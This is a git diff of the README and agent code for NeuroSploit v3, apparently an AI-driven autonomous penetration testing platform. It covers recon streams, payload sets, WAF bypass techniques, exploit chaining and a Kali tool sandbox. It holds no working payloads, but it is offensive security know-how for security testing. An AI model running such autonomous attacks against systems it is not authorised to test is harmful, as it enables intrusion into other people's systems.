│ │ │ └── ReportViewPage.tsx
|
||||
│ │ ├── components/ # Reusable components
|
||||
│ │ ├── services/ # API client
|
||||
│ │ └── store/ # Zustand state
|
||||
│ │ ├── pages/
|
||||
│ │ │ ├── HomePage.tsx # Dashboard with stats
|
||||
│ │ │ ├── AutoPentestPage.tsx # 3-stream auto pentest
|
||||
│ │ │ ├── VulnLabPage.tsx # Per-type vulnerability lab
|
||||
│ │ │ ├── TerminalAgentPage.tsx # AI terminal chat
|
||||
│ │ │ ├── SandboxDashboardPage.tsx # Container monitoring
|
||||
│ │ │ ├── ScanDetailsPage.tsx # Findings + validation
|
||||
│ │ │ ├── SchedulerPage.tsx # Cron/interval scheduling
|
||||
│ │ │ ├── SettingsPage.tsx # Configuration
|
||||
│ │ │ └── ReportsPage.tsx # Report management
|
||||
│ │ ├── components/ # Reusable UI components
|
||||
│ │ ├── services/api.ts # API client layer
|
||||
│ │ └── types/index.ts # TypeScript interfaces
|
||||
│ └── package.json
|
||||
│
|
||||
├── docker/ # Docker configuration
|
||||
│ ├── Dockerfile.backend
|
||||
│ ├── Dockerfile.frontend
|
||||
│ └── nginx.conf
|
||||
├── docker/
|
||||
│ ├── Dockerfile.kali # Multi-stage Kali sandbox (11 Go tools)
|
||||
│ ├── Dockerfile.sandbox # Legacy Debian sandbox
|
||||
│ ├── Dockerfile.backend # Backend container
|
||||
│ ├── Dockerfile.frontend # Frontend container
|
||||
│ ├── docker-compose.kali.yml # Kali sandbox build
|
||||
│ └── docker-compose.sandbox.yml # Legacy sandbox
|
||||
│
|
||||
├── docker-compose.yml
|
||||
├── start.sh
|
||||
└── .env.example
|
||||
├── config/config.json # Profiles, tools, sandbox, MCP
|
||||
├── data/
|
||||
│ ├── vuln_knowledge_base.json # 100 vuln type definitions
|
||||
│ ├── execution_history.json # Cross-scan learning data
|
||||
│ └── access_control_learning.json # BOLA/BFLA adaptive data
|
||||
│
|
||||
├── scripts/
|
||||
│ └── build-kali.sh # Build/rebuild Kali image
|
||||
├── tools/
|
||||
│ └── benchmark_runner.py # 104 CTF challenges
|
||||
├── agents/base_agent.py # BaseAgent class
|
||||
├── neurosploit.py # CLI entry point
|
||||
└── requirements.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Autonomous Agent
|
||||
|
||||
The AI agent (`autonomous_agent.py`) orchestrates the entire penetration test autonomously.
|
||||
|
||||
### 3-Stream Parallel Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────┐
|
||||
│ Auto Pentest │
|
||||
│ Target URL(s) │
|
||||
└────────┬────────────┘
|
||||
│
|
||||
┌──────────────┼──────────────┐
|
||||
▼ ▼ ▼
|
||||
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
||||
│ Stream 1 │ │ Stream 2 │ │ Stream 3 │
|
||||
│ Recon │ │ Junior Test │ │ Tool Runner │
|
||||
│ ─────────── │ │ ─────────── │ │ ─────────── │
|
||||
│ Crawl pages │ │ Test target │ │ Nuclei scan │
|
||||
│ Find params │ │ AI-priority │ │ Naabu ports │
|
||||
│ Tech detect │ │ 3 payloads │ │ AI decides │
|
||||
│ WAF detect │ │ per endpoint│ │ extra tools │
|
||||
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘
|
||||
│ │ │
|
||||
└────────────────┼────────────────┘
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ Deep Analysis │
|
||||
│ 100 vuln types │
|
||||
│ Full payload sets │
|
||||
│ Chain exploitation │
|
||||
└─────────┬───────────┘
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ Report Generation │
|
||||
│ AI executive brief │
|
||||
│ PoC code per find │
|
||||
└─────────────────────┘
|
||||
```
|
||||
|
||||
### Agent Autonomy Modules
|
||||
|
||||
| Module | Description |
|
||||
|--------|-------------|
|
||||
| **Request Engine** | Retry with backoff, per-host rate limiting, circuit breaker, adaptive timeouts |
|
||||
| **WAF Detector** | 16 WAF signatures (Cloudflare, AWS, Akamai, Imperva, etc.), 12 bypass techniques |
|
||||
| **Strategy Adapter** | Dead endpoint detection, diminishing returns, 403 bypass, priority recomputation |
|
||||
| **Chain Engine** | 10 chain rules (SSRF->internal, SQLi->DB-specific, LFI->config, IDOR pattern transfer) |
|
||||
| **Auth Manager** | Multi-user contexts (user_a, user_b, admin), login form detection, session management |
|
||||
|
||||
### Scan Features
|
||||
|
||||
- **Pause / Resume / Stop** with checkpoints
|
||||
- **Manual Validation** - Confirm or reject AI findings
|
||||
- **Screenshot Capture** on confirmed findings (Playwright)
|
||||
- **Cross-Scan Learning** - Historical success rates influence future priorities
|
||||
- **CVE Testing** - Regex detection + AI-generated payloads
|
||||
|
||||
---
|
||||
|
||||
## 100 Vulnerability Types
|
||||
|
||||
### Categories
|
||||
|
||||
| Category | Types | Examples |
|
||||
|----------|-------|---------|
|
||||
| **Injection** | 38 | XSS (reflected/stored/DOM), SQLi, NoSQLi, Command Injection, SSTI, LDAP, XPath, CRLF, Header Injection, Log Injection, GraphQL Injection |
|
||||
| **Inspection** | 21 | Security Headers, CORS, Clickjacking, Info Disclosure, Debug Endpoints, Error Disclosure, Source Code Exposure |
|
||||
| **AI-Driven** | 41 | BOLA, BFLA, IDOR, Race Condition, Business Logic, JWT Manipulation, OAuth Flaws, Prototype Pollution, WebSocket Hijacking, Cache Poisoning, HTTP Request Smuggling |
|
||||
| **Authentication** | 8 | Auth Bypass, Session Fixation, Credential Stuffing, Password Reset Flaws, MFA Bypass, Default Credentials |
|
||||
| **Authorization** | 6 | BOLA, BFLA, IDOR, Privilege Escalation, Forced Browsing, Function-Level Access Control |
|
||||
| **File Access** | 5 | LFI, RFI, Path Traversal, File Upload, XXE |
|
||||
| **Request Forgery** | 4 | SSRF, CSRF, Cloud Metadata, DNS Rebinding |
|
||||
| **Client-Side** | 8 | CORS, Clickjacking, Open Redirect, DOM Clobbering, Prototype Pollution, PostMessage, CSS Injection |
|
||||
| **Infrastructure** | 6 | SSL/TLS, HTTP Methods, Subdomain Takeover, Host Header, CNAME Hijacking |
|
||||
| **Cloud/Supply** | 4 | Cloud Metadata, S3 Bucket Misconfiguration, Dependency Confusion, Third-Party Script |
|
||||
|
||||
### Payload Engine
|
||||
|
||||
- **526 payloads** across 95 libraries
|
||||
- **73 XSS stored payloads** + 5 context-specific sets
|
||||
- Per-type AI decision prompts with anti-hallucination directives
|
||||
- WAF-adaptive payload transformation (12 techniques)
|
||||
|
||||
---
|
||||
|
||||
## Kali Sandbox System
|
||||
|
||||
Each scan runs in its own **isolated Kali Linux Docker container**, providing:
|
||||
|
||||
- **Complete Isolation** - No interference between concurrent scans
|
||||
- **On-Demand Tools** - 56 tools installed only when needed
|
||||
- **Auto Cleanup** - Containers destroyed when scan completes
|
||||
- **Resource Limits** - Per-container memory (2GB) and CPU (2 cores) limits
|
||||
|
||||
### Pre-Installed Tools (28)
|
||||
|
||||
| Category | Tools |
|
||||
|----------|-------|
|
||||
| **Scanners** | nuclei, naabu, httpx, nmap, nikto, masscan, whatweb |
|
||||
| **Discovery** | subfinder, katana, dnsx, uncover, ffuf, gobuster, waybackurls |
|
||||
| **Exploitation** | dalfox, sqlmap |
|
||||
| **System** | curl, wget, git, python3, pip3, go, jq, dig, whois, openssl, netcat, bash |
|
||||
|
||||
### On-Demand Tools (28 more)
|
||||
|
||||
Installed automatically inside the container when first requested:
|
||||
|
||||
- **APT**: wpscan, dirb, hydra, john, hashcat, testssl, sslscan, enum4linux, dnsrecon, amass, medusa, crackmapexec, etc.
|
||||
- **Go**: gau, gitleaks, anew, httprobe
|
||||
- **Pip**: dirsearch, wfuzz, arjun, wafw00f, sslyze, commix, trufflehog, retire
|
||||
|
||||
### Container Pool
|
||||
|
||||
```
|
||||
ContainerPool (global coordinator, max 5 concurrent)
|
||||
├── KaliSandbox(scan_id="abc") → docker: neurosploit-abc
|
||||
├── KaliSandbox(scan_id="def") → docker: neurosploit-def
|
||||
└── KaliSandbox(scan_id="ghi") → docker: neurosploit-ghi
|
||||
```
|
||||
|
||||
- **TTL enforcement** - Containers auto-destroyed after 60 min
|
||||
- **Orphan cleanup** - Stale containers removed on server startup
|
||||
- **Graceful fallback** - Falls back to shared container if Docker unavailable
|
||||
|
||||
---
|
||||
|
||||
## Anti-Hallucination & Validation
|
||||
|
||||
NeuroSploit uses a multi-layered validation pipeline to eliminate false positives:
|
||||
|
||||
### Validation Pipeline
|
||||
|
||||
```
|
||||
Finding Candidate
|
||||
│
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ Negative Controls │ Send benign/empty requests as controls
|
||||
│ Same behavior = FP │ -60 confidence if same response
|
||||
└─────────┬───────────┘
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ Proof of Execution │ 25+ per-vuln-type proof methods
|
||||
│ XSS: context check │ SSRF: metadata markers
|
||||
│ SQLi: DB errors │ BOLA: data comparison
|
||||
└─────────┬───────────┘
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ AI Interpretation │ LLM with anti-hallucination prompts
|
||||
│ Per-type system msgs │ 12 composable prompt templates
|
||||
└─────────┬───────────┘
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ Confidence Scorer │ 0-100 numeric score
|
||||
│ ≥90 = confirmed │ +proof, +impact, +controls
|
||||
│ ≥60 = likely │ -baseline_only, -same_behavior
|
||||
│ <60 = rejected │ Breakdown visible in UI
|
||||
└─────────┬───────────┘
|
||||
▼
|
||||
┌─────────────────────┐
|
||||
│ Validation Judge │ Final verdict authority
|
||||
│ approve / reject │ Records for adaptive learning
|
||||
└─────────────────────┘
|
||||
```
|
||||
|
||||
### Anti-Hallucination System Prompts
|
||||
|
||||
12 composable prompts applied across 7 task contexts:
|
||||
- `anti_hallucination` - Core truthfulness directives
|
||||
- `proof_of_execution` - Require concrete evidence
|
||||
- `negative_controls` - Compare with benign requests
|
||||
- `anti_severity_inflation` - Accurate severity ratings
|
||||
- `access_control_intelligence` - BOLA/BFLA data comparison methodology
|
||||
|
||||
### Access Control Adaptive Learning
|
||||
|
||||
- Records TP/FP outcomes per domain for BOLA/BFLA/IDOR
|
||||
- 9 default response patterns, 6 known FP patterns (WSO2, Keycloak, etc.)
|
||||
- Historical FP rate influences future confidence scoring
|
||||
|
||||
---
|
||||
|
||||
## Web GUI
|
||||
|
||||
### Dashboard (Home Page)
|
||||
### Pages
|
||||
|
||||
- **Stats Overview** - Total scans, vulnerabilities by severity, success rate
|
||||
- **Severity Distribution** - Visual chart of critical/high/medium/low findings
|
||||
- **Recent Scans** - Quick access to latest scan results
|
||||
- **Recent Findings** - Latest discovered vulnerabilities
|
||||
| Page | Route | Description |
|
||||
|------|-------|-------------|
|
||||
| **Dashboard** | `/` | Stats overview, severity distribution, recent activity feed |
|
||||
| **Auto Pentest** | `/auto` | One-click autonomous pentest with 3-stream live display |
|
||||
| **Vuln Lab** | `/vuln-lab` | Per-type vulnerability testing (100 types, 11 categories) |
|
||||
| **Terminal Agent** | `/terminal` | AI-powered interactive security chat + tool execution |
|
||||
| **Sandboxes** | `/sandboxes` | Real-time Docker container monitoring + management |
|
||||
| **AI Agent** | `/scan/new` | Manual scan creation with prompt selection |
|
||||
| **Scan Details** | `/scan/:id` | Findings with confidence badges, pause/resume/stop |
|
||||
| **Scheduler** | `/scheduler` | Cron/interval automated scan scheduling |
|
||||
| **Reports** | `/reports` | HTML/PDF/JSON report generation and viewing |
|
||||
| **Settings** | `/settings` | LLM providers, model routing, feature toggles |
|
||||
|
||||
### New Scan Page
|
||||
### Sandbox Dashboard
|
||||
|
||||
**Target Input Modes:**
|
||||
- **Single URL** - Enter one target URL
|
||||
- **Multiple URLs** - Comma-separated list
|
||||
- **File Upload** - Upload .txt file with URLs (one per line)
|
||||
|
||||
**Prompt Options:**
|
||||
- **Preset Prompts** - Select from ready-to-use profiles:
|
||||
- Full Penetration Test
|
||||
- OWASP Top 10
|
||||
- API Security Assessment
|
||||
- Bug Bounty Hunter
|
||||
- Quick Security Scan
|
||||
- Authentication Testing
|
||||
- **Custom Prompt** - Write your own testing instructions
|
||||
- **No Prompt** - Run all available tests
|
||||
|
||||
### Scan Details Page
|
||||
|
||||
- **Progress Bar** - Real-time scan progress
|
||||
- **Discovered Endpoints** - List of found paths and URLs
|
||||
- **Vulnerabilities** - Real-time findings with severity badges
|
||||
- **Activity Log** - Live scan events via WebSocket
|
||||
|
||||
### Reports Page
|
||||
|
||||
- **Report List** - All generated reports with metadata
|
||||
- **View Report** - In-browser HTML viewer
|
||||
- **Export Options** - Download as HTML, PDF, or JSON
|
||||
- **Delete Reports** - Remove old reports
|
||||
Real-time monitoring of per-scan Kali containers:
|
||||
- **Pool stats** - Active/max containers, Docker status, TTL
|
||||
- **Capacity bar** - Visual utilization indicator
|
||||
- **Per-container cards** - Name, scan link, uptime, installed tools, status
|
||||
- **Actions** - Health check, destroy (with confirmation), cleanup expired/orphans
|
||||
- **5-second auto-polling** for real-time updates
|
||||
|
||||
---
|
||||
|
||||
@@ -222,114 +427,77 @@ http://localhost:8000/api/v1
|
||||
| `POST` | `/scans` | Create new scan |
|
||||
| `GET` | `/scans` | List all scans |
|
||||
| `GET` | `/scans/{id}` | Get scan details |
|
||||
| `POST` | `/scans/{id}/start` | Start scan execution |
|
||||
| `POST` | `/scans/{id}/stop` | Stop running scan |
|
||||
| `POST` | `/scans/{id}/start` | Start scan |
|
||||
| `POST` | `/scans/{id}/stop` | Stop scan |
|
||||
| `POST` | `/scans/{id}/pause` | Pause scan |
|
||||
| `POST` | `/scans/{id}/resume` | Resume scan |
|
||||
| `DELETE` | `/scans/{id}` | Delete scan |
|
||||
| `GET` | `/scans/{id}/endpoints` | Get discovered endpoints |
|
||||
| `GET` | `/scans/{id}/vulnerabilities` | Get found vulnerabilities |
|
||||
|
||||
#### Targets
|
||||
#### AI Agent
|
||||
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| `POST` | `/targets/validate` | Validate URL(s) |
|
||||
| `POST` | `/targets/upload` | Upload URL file |
|
||||
| `POST` | `/agent/run` | Launch autonomous agent |
|
||||
| `GET` | `/agent/status/{id}` | Get agent status + findings |
|
||||
| `GET` | `/agent/by-scan/{scan_id}` | Get agent by scan ID |
|
||||
| `POST` | `/agent/stop/{id}` | Stop agent |
|
||||
| `POST` | `/agent/pause/{id}` | Pause agent |
|
||||
| `POST` | `/agent/resume/{id}` | Resume agent |
|
||||
| `GET` | `/agent/findings/{id}` | Get findings with details |
|
||||
| `GET` | `/agent/logs/{id}` | Get agent logs |
|
||||
|
||||
#### Prompts
|
||||
#### Sandbox
|
||||
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/prompts/presets` | List preset prompts |
|
||||
| `GET` | `/prompts/presets/{id}` | Get preset details |
|
||||
| `POST` | `/prompts/parse` | Parse custom prompt |
|
||||
| `GET` | `/sandbox` | List containers + pool status |
|
||||
| `GET` | `/sandbox/{scan_id}` | Health check container |
|
||||
| `DELETE` | `/sandbox/{scan_id}` | Destroy container |
|
||||
| `POST` | `/sandbox/cleanup` | Remove expired containers |
|
||||
| `POST` | `/sandbox/cleanup-orphans` | Remove orphan containers |
|
||||
|
||||
#### Reports
|
||||
#### Scheduler
|
||||
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/reports` | List all reports |
|
||||
| `GET` | `/reports/{id}` | Get report details |
|
||||
| `GET` | `/reports/{id}/download` | Download report |
|
||||
| `DELETE` | `/reports/{id}` | Delete report |
|
||||
| `GET` | `/scheduler` | List scheduled jobs |
|
||||
| `POST` | `/scheduler` | Create scheduled job |
|
||||
| `DELETE` | `/scheduler/{id}` | Delete job |
|
||||
| `POST` | `/scheduler/{id}/pause` | Pause job |
|
||||
| `POST` | `/scheduler/{id}/resume` | Resume job |
|
||||
|
||||
#### Dashboard
|
||||
#### Vulnerability Lab
|
||||
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/dashboard/stats` | Get dashboard statistics |
|
||||
| `GET` | `/dashboard/recent-scans` | Get recent scans |
|
||||
| `GET` | `/dashboard/recent-findings` | Get recent vulnerabilities |
|
||||
| `GET` | `/vuln-lab/types` | List 100 vuln types by category |
|
||||
| `POST` | `/vuln-lab/run` | Run per-type vulnerability test |
|
||||
| `GET` | `/vuln-lab/challenges` | List challenge runs |
|
||||
| `GET` | `/vuln-lab/stats` | Detection rate stats |
|
||||
|
||||
#### Reports & Dashboard
|
||||
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| `POST` | `/reports` | Generate report |
|
||||
| `POST` | `/reports/ai-generate` | AI-powered report |
|
||||
| `GET` | `/reports/{id}/view` | View HTML report |
|
||||
| `GET` | `/dashboard/stats` | Dashboard statistics |
|
||||
| `GET` | `/dashboard/activity-feed` | Recent activity |
|
||||
|
||||
### WebSocket
|
||||
|
||||
```
|
||||
ws://localhost:8000/ws/{scan_id}
|
||||
ws://localhost:8000/ws/scan/{scan_id}
|
||||
```
|
||||
|
||||
**Events:**
|
||||
- `scan_started` - Scan has begun
|
||||
- `scan_progress` - Progress update (percentage)
|
||||
- `endpoint_found` - New endpoint discovered
|
||||
- `vulnerability_found` - New vulnerability found
|
||||
- `scan_completed` - Scan finished
|
||||
- `scan_error` - Error occurred
|
||||
Events: `scan_started`, `progress_update`, `finding_discovered`, `scan_completed`, `scan_error`
|
||||
|
||||
---
|
||||
### API Docs
|
||||
|
||||
## Vulnerability Engine
|
||||
|
||||
### How It Works
|
||||
|
||||
1. **Prompt Parsing** - User prompt analyzed for vulnerability keywords
|
||||
2. **Type Extraction** - Relevant vulnerability types identified
|
||||
3. **Tester Selection** - Appropriate testers loaded from registry
|
||||
4. **Payload Generation** - Context-aware payloads generated
|
||||
5. **Testing Execution** - Tests run against target endpoints
|
||||
6. **Finding Reporting** - Results sent via WebSocket in real-time
|
||||
|
||||
### Prompt Examples
|
||||
|
||||
```
|
||||
"Test for SQL injection and XSS vulnerabilities"
|
||||
→ Extracts: sql_injection, xss_reflected, xss_stored
|
||||
|
||||
"Check for OWASP Top 10 issues"
|
||||
→ Extracts: All major vulnerability types
|
||||
|
||||
"Look for authentication bypass and IDOR"
|
||||
→ Extracts: auth_bypass, idor, bola
|
||||
|
||||
"Find server-side request forgery and file inclusion"
|
||||
→ Extracts: ssrf, lfi, rfi, path_traversal
|
||||
```
|
||||
|
||||
### Adding Custom Testers
|
||||
|
||||
Create a new tester in `backend/core/vuln_engine/testers/`:
|
||||
|
||||
```python
|
||||
from .base_tester import BaseTester, TestResult
|
||||
|
||||
class MyCustomTester(BaseTester):
|
||||
"""Custom vulnerability tester"""
|
||||
|
||||
async def test(self, url: str, endpoint: str, params: dict) -> list[TestResult]:
|
||||
results = []
|
||||
# Your testing logic here
|
||||
return results
|
||||
```
|
||||
|
||||
Register in `backend/core/vuln_engine/registry.py`:
|
||||
|
||||
```python
|
||||
VULNERABILITY_REGISTRY["my_custom_vuln"] = {
|
||||
"name": "My Custom Vulnerability",
|
||||
"category": "custom",
|
||||
"severity": "high",
|
||||
"tester": "MyCustomTester",
|
||||
# ...
|
||||
}
|
||||
```
|
||||
Interactive docs available at:
|
||||
- Swagger UI: `http://localhost:8000/api/docs`
|
||||
- ReDoc: `http://localhost:8000/api/redoc`
|
||||
|
||||
---
|
||||
|
||||
@@ -338,91 +506,89 @@ VULNERABILITY_REGISTRY["my_custom_vuln"] = {
|
||||
### Environment Variables
|
||||
|
||||
```bash
|
||||
# .env file
|
||||
# LLM API Keys (at least one required)
|
||||
ANTHROPIC_API_KEY=your-key
|
||||
OPENAI_API_KEY=your-key
|
||||
GEMINI_API_KEY=your-key
|
||||
|
||||
# LLM API Keys (at least one required for AI-powered testing)
|
||||
ANTHROPIC_API_KEY=your-anthropic-api-key
|
||||
OPENAI_API_KEY=your-openai-api-key
|
||||
# Local LLM (optional)
|
||||
OLLAMA_BASE_URL=http://localhost:11434
|
||||
LMSTUDIO_BASE_URL=http://localhost:1234
|
||||
OPENROUTER_API_KEY=your-key
|
||||
|
||||
# Database (default is SQLite)
|
||||
# Database
|
||||
DATABASE_URL=sqlite+aiosqlite:///./data/neurosploit.db
|
||||
|
||||
# Server Configuration
|
||||
# Server
|
||||
HOST=0.0.0.0
|
||||
PORT=8000
|
||||
DEBUG=false
|
||||
```
|
||||
|
||||
### Preset Prompts
|
||||
### config/config.json
|
||||
|
||||
Available presets in `/api/v1/prompts/presets`:
|
||||
|
||||
| ID | Name | Description |
|
||||
|----|------|-------------|
|
||||
| `full_pentest` | Full Penetration Test | Comprehensive testing across all categories |
|
||||
| `owasp_top10` | OWASP Top 10 | Focus on OWASP Top 10 vulnerabilities |
|
||||
| `api_security` | API Security | API-specific security testing |
|
||||
| `bug_bounty` | Bug Bounty Hunter | High-impact findings for bounty programs |
|
||||
| `quick_scan` | Quick Security Scan | Fast essential security checks |
|
||||
| `auth_testing` | Authentication Testing | Auth and session security |
|
||||
```json
|
||||
{
|
||||
"llm": {
|
||||
"default_profile": "gemini_pro_default",
|
||||
"profiles": { ... }
|
||||
},
|
||||
"agent_roles": {
|
||||
"pentest_generalist": { "vuln_coverage": 100 },
|
||||
"bug_bounty_hunter": { "vuln_coverage": 100 }
|
||||
},
|
||||
"sandbox": {
|
||||
"mode": "per_scan",
|
||||
"kali": {
|
||||
"enabled": true,
|
||||
"image": "neurosploit-kali:latest",
|
||||
"max_concurrent": 5,
|
||||
"container_ttl_minutes": 60
|
||||
}
|
||||
},
|
||||
"mcp_servers": {
|
||||
"neurosploit_tools": {
|
||||
"transport": "stdio",
|
||||
"command": "python3",
|
||||
"args": ["-m", "core.mcp_server"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Development
|
||||
|
||||
### Backend Development
|
||||
### Backend
|
||||
|
||||
```bash
|
||||
cd backend
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Run with hot reload
|
||||
uvicorn backend.main:app --reload --host 0.0.0.0 --port 8000
|
||||
|
||||
# API docs available at http://localhost:8000/docs
|
||||
# API docs: http://localhost:8000/api/docs
|
||||
```
|
||||
|
||||
### Frontend Development
|
||||
### Frontend
|
||||
|
||||
```bash
|
||||
cd frontend
|
||||
npm install
|
||||
npm run dev
|
||||
|
||||
# Build for production
|
||||
npm run build
|
||||
npm run dev # Dev server at http://localhost:5173
|
||||
npm run build # Production build
|
||||
```
|
||||
|
||||
### Running Tests
|
||||
### Build Kali Sandbox
|
||||
|
||||
```bash
|
||||
# Backend tests
|
||||
cd backend
|
||||
pytest
|
||||
|
||||
# Frontend tests
|
||||
cd frontend
|
||||
npm test
|
||||
./scripts/build-kali.sh --test # Build + health check
|
||||
```
|
||||
|
||||
---
|
||||
### MCP Server
|
||||
|
||||
## Upgrading from v2
|
||||
|
||||
v3 is a complete rewrite with a new architecture. Key differences:
|
||||
|
||||
| Feature | v2 | v3 |
|
||||
|---------|----|----|
|
||||
| Interface | CLI only | Web GUI + API |
|
||||
| Vulnerability Testing | Hardcoded (XSS, SQLi, LFI) | Dynamic 50+ types |
|
||||
| Test Selection | Manual | Prompt-driven |
|
||||
| Progress Updates | Terminal output | WebSocket real-time |
|
||||
| Reports | HTML file | Web viewer + export |
|
||||
| Deployment | Python script | Docker Compose |
|
||||
|
||||
**Migration:** v3 is a separate installation. Your v2 configurations and results are not compatible.
|
||||
```bash
|
||||
python3 -m core.mcp_server # Starts stdio MCP server (12 tools)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
@@ -430,7 +596,7 @@ v3 is a complete rewrite with a new architecture. Key differences:
|
||||
|
||||
**This tool is for authorized security testing only.**
|
||||
|
||||
- Only test systems you own or have written permission to test
|
||||
- Only test systems you own or have explicit written permission to test
|
||||
- Follow responsible disclosure practices
|
||||
- Comply with all applicable laws and regulations
|
||||
- Unauthorized access to computer systems is illegal
|
||||
@@ -443,25 +609,17 @@ MIT License - See [LICENSE](LICENSE) for details.
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
## Tech Stack
|
||||
|
||||
1. Fork the repository
|
||||
2. Create a feature branch
|
||||
3. Submit a pull request
|
||||
| Layer | Technologies |
|
||||
|-------|-------------|
|
||||
| **Backend** | Python, FastAPI, SQLAlchemy, Pydantic, aiohttp |
|
||||
| **Frontend** | React 18, TypeScript, TailwindCSS, Vite |
|
||||
| **AI/LLM** | Anthropic Claude, OpenAI GPT, Google Gemini, Ollama, LMStudio, OpenRouter |
|
||||
| **Sandbox** | Docker, Kali Linux, ProjectDiscovery suite, Nmap, SQLMap, Nikto |
|
||||
| **Tools** | Nuclei, Naabu, httpx, Subfinder, Katana, FFuf, Gobuster, Dalfox |
|
||||
| **Infra** | Docker Compose, MCP Protocol, Playwright, APScheduler |
|
||||
|
||||
---
|
||||
|
||||
## Acknowledgements
|
||||
|
||||
### Technologies
|
||||
- FastAPI, SQLAlchemy, Pydantic
|
||||
- React, TypeScript, TailwindCSS, Zustand
|
||||
- Docker, Nginx
|
||||
|
||||
### LLM Providers
|
||||
- Anthropic Claude
|
||||
- OpenAI GPT
|
||||
|
||||
---
|
||||
|
||||
**NeuroSploit v3** - *AI-Powered Penetration Testing Platform*
|
||||
**NeuroSploit v3** - *AI-Powered Autonomous Penetration Testing Platform*
|
||||
|
||||
@@ -47,6 +47,35 @@ class BaseAgent:
|
||||
self.interesting_findings = []
|
||||
self.tool_history = []
|
||||
|
||||
# Knowledge augmentation (opt-in via env)
|
||||
self.augmentor = None
|
||||
if os.getenv('ENABLE_KNOWLEDGE_AUGMENTATION', 'false').lower() == 'true':
|
||||
try:
|
||||
from core.knowledge_augmentor import KnowledgeAugmentor
|
||||
ka_config = config.get('knowledge_augmentation', {})
|
||||
self.augmentor = KnowledgeAugmentor(
|
||||
dataset_path=ka_config.get('dataset_path', 'models/bug-bounty/bugbounty_finetuning_dataset.json'),
|
||||
max_patterns=ka_config.get('max_patterns_per_query', 3)
|
||||
)
|
||||
logger.info("Knowledge augmentation enabled")
|
||||
except Exception as e:
|
||||
logger.warning(f"Knowledge augmentation init failed: {e}")
|
||||
|
||||
# MCP tool client (opt-in via config)
|
||||
self.mcp_client = None
|
||||
if config.get('mcp_servers', {}).get('enabled', False):
|
||||
try:
|
||||
from core.mcp_client import MCPToolClient
|
||||
self.mcp_client = MCPToolClient(config)
|
||||
logger.info("MCP tool client enabled")
|
||||
except Exception as e:
|
||||
logger.warning(f"MCP client init failed: {e}")
|
||||
|
||||
# Browser validation (opt-in via env)
|
||||
self.browser_validation_enabled = (
|
||||
os.getenv('ENABLE_BROWSER_VALIDATION', 'false').lower() == 'true'
|
||||
)
|
||||
|
||||
logger.info(f"Initialized {self.agent_name} - Autonomous Agent")
|
||||
|
||||
def _extract_targets(self, user_input: str) -> List[str]:
|
||||
@@ -131,6 +160,68 @@ class BaseAgent:
|
||||
self.tool_history.append(result)
|
||||
return result
|
||||
|
||||
def run_mcp_tool(self, tool_name: str, arguments: Optional[Dict] = None) -> Optional[str]:
|
||||
"""Execute a tool via MCP if available, returns None for subprocess fallback."""
|
||||
if not self.mcp_client or not self.mcp_client.enabled:
|
||||
return None
|
||||
|
||||
import asyncio
|
||||
try:
|
||||
result = asyncio.run(self.mcp_client.try_tool(tool_name, arguments))
|
||||
if result is not None:
|
||||
logger.info(f"MCP tool executed: {tool_name}")
|
||||
return result
|
||||
except Exception as e:
|
||||
logger.debug(f"MCP tool '{tool_name}' not available: {e}")
|
||||
return None
|
||||
|
||||
def run_browser_validation(self, finding_id: str, url: str,
|
||||
payload: str = None) -> Dict:
|
||||
"""Validate a finding using Playwright browser.
|
||||
|
||||
Only executes if ENABLE_BROWSER_VALIDATION is set.
|
||||
Returns validation result with screenshots.
|
||||
"""
|
||||
if not self.browser_validation_enabled:
|
||||
return {"skipped": True, "reason": "Browser validation disabled"}
|
||||
|
||||
try:
|
||||
from core.browser_validator import validate_finding_sync
|
||||
screenshots_dir = self.config.get('browser_validation', {}).get(
|
||||
'screenshots_dir', 'reports/screenshots'
|
||||
)
|
||||
return validate_finding_sync(
|
||||
finding_id=finding_id,
|
||||
url=url,
|
||||
payload=payload,
|
||||
screenshots_dir=f"{screenshots_dir}/{self.agent_name}",
|
||||
headless=self.config.get('browser_validation', {}).get('headless', True)
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Browser validation failed for {finding_id}: {e}")
|
||||
return {"finding_id": finding_id, "error": str(e)}
|
||||
|
||||
def get_augmented_context(self, vulnerability_types: List[str]) -> str:
|
||||
"""Get knowledge augmentation context for detected vulnerability types.
|
||||
|
||||
Returns formatted pattern context string to inject into prompts.
|
||||
"""
|
||||
if not self.augmentor:
|
||||
return ""
|
||||
|
||||
augmentation = ""
|
||||
technologies = list(self.tech_stack.get('detected', []))
|
||||
|
||||
for vtype in vulnerability_types[:3]: # Limit to avoid context bloat
|
||||
patterns = self.augmentor.get_relevant_patterns(
|
||||
vulnerability_type=vtype,
|
||||
technologies=technologies
|
||||
)
|
||||
if patterns:
|
||||
augmentation += patterns
|
||||
|
||||
return augmentation
|
||||
|
||||
def execute(self, user_input: str, campaign_data: Dict = None, recon_context: Dict = None) -> Dict:
|
||||
"""
|
||||
Execute security assessment.
|
||||
|
||||
+327
-36
@@ -32,6 +32,8 @@ agent_instances: Dict[str, AutonomousAgent] = {}
|
||||
|
||||
# Map agent_id to scan_id for database persistence
|
||||
agent_to_scan: Dict[str, str] = {}
|
||||
# Reverse map: scan_id to agent_id for ScanDetailsPage lookups
|
||||
scan_to_agent: Dict[str, str] = {}
|
||||
|
||||
|
||||
@router.get("/status")
|
||||
